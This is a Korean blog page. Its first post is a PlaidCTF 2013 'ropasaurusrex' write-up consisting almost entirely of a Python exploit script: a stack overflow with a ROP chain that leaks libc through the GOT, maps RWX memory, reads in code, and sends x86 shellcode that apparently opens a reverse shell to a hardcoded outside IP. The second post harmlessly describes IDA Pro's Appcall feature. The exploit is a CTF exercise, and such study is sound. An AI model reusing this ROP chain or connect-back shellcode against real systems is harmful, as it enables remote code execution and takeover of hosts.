plaid ctf 2013 ropasaurusrex writeup


#!/usr/bin/env python

from struct import *
from socket import *


pop11ret = 0x080484B2
pop4ret = 0x080484B5
read = 0x0804832C
vuln_again = 0x80483f4
write = 0x804830C
got_start = 0x8049610
got_end = 0x804961C


Shellcode ="\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b" +
    "\x5e\x68\x73\x15\x75\xde\x66\x68\x17\x71\x66\x53\x6a\x10\x51\x50" +
    "\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80" +
    "\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" +
    "\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

WADDR = 0x13370000
W_FD = 1
R_FD = 0

#write
leak_libc = pack("<I",write)
leak_libc += pack("<I",pop4ret)
leak_libc += pack("<I",W_FD)
leak_libc += pack("<I",got_start)
leak_libc += pack("<I",got_end-got_start)
leak_libc += "AAAA"

# vuln  again
leak_libc += pack("<I", vuln_again)

f = socket(AF_INET, SOCK_STREAM)
f.connect(("54.234.151.114", 1025))

stage1 = "A"*140 + leak_libc + "A"*(253-140-len(leak_libc))
f.send(stage1)

# get libc base address
data = f.recv(4096)
libc_addr =  long(hex(unpack("<I",data[4:8])[0]),16) - 0xBF190
mmap_addr = libc_addr + 0xCA7B0

#mmap
stage2 = pack("<I", mmap_addr)
stage2 += pack("<I", pop11ret)
stage2 += pack("<I", WADDR)
stage2 += pack("<I", 4096)
stage2 += pack("<I", 7)
stage2 += pack("<I", 49)
stage2 += pack("<I", 0xffffffff)
stage2 += pack("<I", 0)
stage2 += "AAAA"
stage2 += "BBBB"
stage2 += "CCCC"
stage2 += "DDDD"
stage2 += "EEEE"

# read
stage2 += pack("<I", read)
stage2 += pack("<I", WADDR)
stage2 += pack("<I", R_FD)
stage2 += pack("<I", WADDR)
stage2 += pack("<I", 4096)


stage2_p = "A"*140 + stage2 + "A"*(256-140-len(stage2))

f.send(stage2_p)

f.send(Shellcode)


 

by codexb | 2013/04/22 09:47 | SeLinux | 트랙백

맥콜 이 아닌 appcall of IDA PRO

IDA 5.6 버전에서 부터 지원되는 appcall은 디버깅 중에 특정 함수를 호출할 수 있는 기능을 제공한다.
예전부터 이런 기능이 있었으면 좋겠다 생각했는데 ida에서 이 기능을 추가시켰다.

몇몇 환경에서 유용하게 사용될 수 있다.

1. 내가 원하는 인자 값으로 함수를 실행시켜 결과 값을 확인하고자 할때

-> 함수 인자 값을 정의해주는 것도 중요하지만 함수 본문에 전역 변수가 데이터 변수가 있다면
    해당 변수를 실제 실행 환경에 맞게 셋팅해줘야 appcall 을 통한 함수 실행이 정상적으로 동작 할 것이다

2. 내가 원하는 함수 리턴 값을 가지는 인자 값을 확인하고자 할때

-> 원하는 리턴 값이 나올때 까지 인자 값을 랜덤하게 생성. (복호화, 디코딩 시에 유용)

3. 특정 영역에 인코딩된 악성코드를 디코딩 할때

-> 특정 영역에 인코딩되어 저장된 악성코드를 디코딩 함수를 서치하여 APPCALL로 호출하여
    디코딩 시킨 후 메모리 덤프로 복원

이거 외의 Fuzzing at function level 등의 많은 경우에 활용될 수 있지만, 실제 운영 환경의 Context를 
보장해줘야 함수가 정상적으로 실행되므로 제한적으로 사용되는건 어쩔 수 없을 꺼 같다

최근 발표된 IDA Pro 6.4 의 새로운 기능에서 64비트 바이너리를 APPCALL에서 지원한다고 나와있다.

* other debugging improvement
- added support for SystemV AMD64 ABI: now you can use Appcall when debugging x64 Linux binaries
   

by codexb | 2012/12/15 20:43 | 트랙백

◀ 이전 페이지          다음 페이지 ▶